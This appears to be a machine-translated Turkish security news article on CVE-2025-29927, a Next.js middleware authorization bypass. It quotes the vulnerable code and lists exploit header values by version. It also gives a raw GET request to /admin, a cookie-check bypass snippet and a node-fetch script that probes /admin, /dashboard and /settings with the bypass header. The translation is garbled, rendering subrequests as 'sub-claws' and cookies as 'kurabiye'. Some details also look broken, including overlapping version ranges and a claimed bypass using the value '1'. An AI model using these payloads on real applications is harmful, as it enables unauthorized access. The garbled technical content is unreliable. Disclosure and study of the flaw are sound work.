CVE-2025-29927 olarak izlenen bir sonraki.
Bu kusur, dahili alt pençeler ve dış trafik arasında ayrım yapmak için bu başlığa dayanan bir sonraki başlığa dayanan tüm sürümleri etkiler, korunan rotaların ve idari arayüzlerin maruz kalma riskiyle karşı karşıyadır.
Next.js, ara katman yazılımı sunucuya alt pençeleri tetiklediğinde sonsuz döngüleri önlemek için X-Middleware-Subrequest başlığını kullanır.
Middleware mantığı, güvenlik araştırmacıları tarafından yapılan bir rapora göre, özyinelemeli çağrıları tespit etmek için bu başlığı okur ve ayrıştırır.
Bununla birlikte, next.js, meşru dahili alt presentler ve kötü niyetli harici istekler arasında yeterince ayrım yapmadığından, bir saldırgan bu başlığı keyfi olarak katman yazılımı yetkilendirme kontrollerini atlamaya zorlamak için ayarlayabilir.
Güvenlik açığının teknik mekanizması
Sorunun çekirdeği sonraki kod snippet’inde ikamet ediyor.
const subreq = params.request.headers["x-middleware-subrequest"];
const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
if (subrequests.includes(middlewareInfo.name)) {
result = {
response: NextResponse.next(),
waitUntil: Promise.resolve(),
};
continue;
}
Bu mantık, başlık değerini kolonların bir dizi dizeye ayırır. Herhangi bir öğe middlewareInfo.name ile eşleşirse, next.js isteği dahili bir alt prestiesti olarak ele alır ve hemen nextresponse.next () çağırır, kimlik doğrulama ve yetkilendirme dahil tüm alt kontrolleri etkili bir şekilde atlar.
Next.js sürümlerinde sömürü yöntemleri
- Sürüm 12.2 ve önceki
Middleware dosyaları, sayfa dizininin altındaki _middleware.ts olarak adlandırılır. Burada, MiddlewareInfo.name sayfa/_middleware’e eşittir. Bir saldırgan gönderebilir:
x-middleware-subrequest: pages/_middleware
ara katman yazılımının tamamen atlanmasını sağlamak.
- Sürüm 12.2 ve sonraki
Middleware dosyaları, bir uygulamanın veya belirli bir dizinin kökeninde Middleware.ts olarak yeniden adlandırılır. Karşılaştırma değeri sadece ara katman yazılımıdır. Ayarlayarak:
x-middleware-subrequest: middleware
Aynı baypas oluşur.
- Sürüm 13.2.0 ve üstü
Next.js, başlık uzunluğunu sınırlamak ve sonsuz döngüleri önlemek için max_recursion_depth tanıttı, ancak başlık tabanlı bypass geçerli kalabilir:
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
İstismar senaryosu
Bir saldırgan basit bir GET isteği oluşturabilir:
GET /admin HTTP/1.1
Host: vulnerable-app.local
x-middleware-subrequest: 1
Bu, ara katman yazılımı, hassas uç noktalara yetkisiz erişim sağlayarak korunan /yönetici sayfasını atlamaya ve iade etmeye zorlar.
JWT / Çerez Kombinasyonları
Projeler genellikle JWT veya Çerez tabanlı kontrolleri katman yazılımının üstünde katır:
if (!req.cookies.auth_token && req.headers['x-middleware-subrequest'] !== '1') {
return NextResponse.redirect('/login');
}
X-Middleware-Subrequest: 1 göndererek, saldırganlar hem ara katman yazılımı hem de jeton kontrollerini atlayarak geçerli kimlik bilgileri olmadan giriş kazanırlar.
Başlık Manipülasyon Senaryoları
Senaryo | Başlık değeri | Sonuç |
Basit Bypass | 1 | Ara katman yazılımı atladı |
Jwt bypass | 1 + Eksik JWT | Erişim verildi |
Rol kontrol baypası | 1 + boş kurabiye | Erişim verildi |
Otomatik test komut dosyası (kırmızı takım stili)
import fetch from 'node-fetch';
const routes = ['/admin', '/dashboard', '/settings'];
async function testBypass() {
for (const route of routes) {
const res = await fetch(`http://localhost:3000${route}`, {
headers: { 'x-middleware-subrequest': '1' }
});
console.log(`${route}: ${res.status}`);
}
}
testBypass();
Bu komut dosyası korumalı yollar aracılığıyla yinelenir ve savunmasız uç noktaları hızlı bir şekilde tanımlamak için kötü amaçlı başlığı gönderir.
Yama önerileri X-Middleware-Subrequest başlığının orijinini doğrulamayı ve başlık varlığına bakılmaksızın sunucu tarafı kontrollerinin uygulanmasını tavsiye eder.
CVE-2025-29927’nin sömürülmesini azaltmak için sürekli izleme ve acil çerçeve güncellemeleri gereklidir.
Bu haberi ilginç bul! Anında güncellemeler almak için bizi Google News, LinkedIn ve X’te takip edin!